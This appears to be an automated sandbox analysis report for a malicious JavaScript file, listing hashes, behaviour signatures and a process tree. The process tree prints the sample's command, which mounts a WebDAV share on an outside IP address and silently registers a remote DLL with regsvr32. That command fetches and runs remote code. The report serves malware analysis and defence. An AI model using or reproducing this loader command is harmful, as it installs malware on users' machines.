Analysis

  • max time kernel
    145s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 02:13

General

  • Target

    210171615333798003.js

  • Size

    4KB

  • MD5

    88a4e5598a9b2b39eb791118204c9508

  • SHA1

    ebb6a9d5346ee65d302bcdb37f4fbfaf284f88c0

  • SHA256

    64c6b40b3dbd75803044e42527f7f1c2a0f5274d9362d8ae290ba150737a68fb

  • SHA512

    7341e509f21d19994ce35df26450194bd8767acee2d5f4625b2117b3f77df03f7c157f9ab4752158ce753b0be0a41c9f63ddd036cd804b83c5d20b765c97cf68

  • SSDEEP

    96:mA+oJRe+GQuVEuK4wRenreeeUUdAk7SRenreeeUUdTevvhjReCRegvv:h++e+ZuVEuK4kenreeeUKAkGenreeeUR

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\210171615333798003.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3020
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\288702201919570.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4352
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1948

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads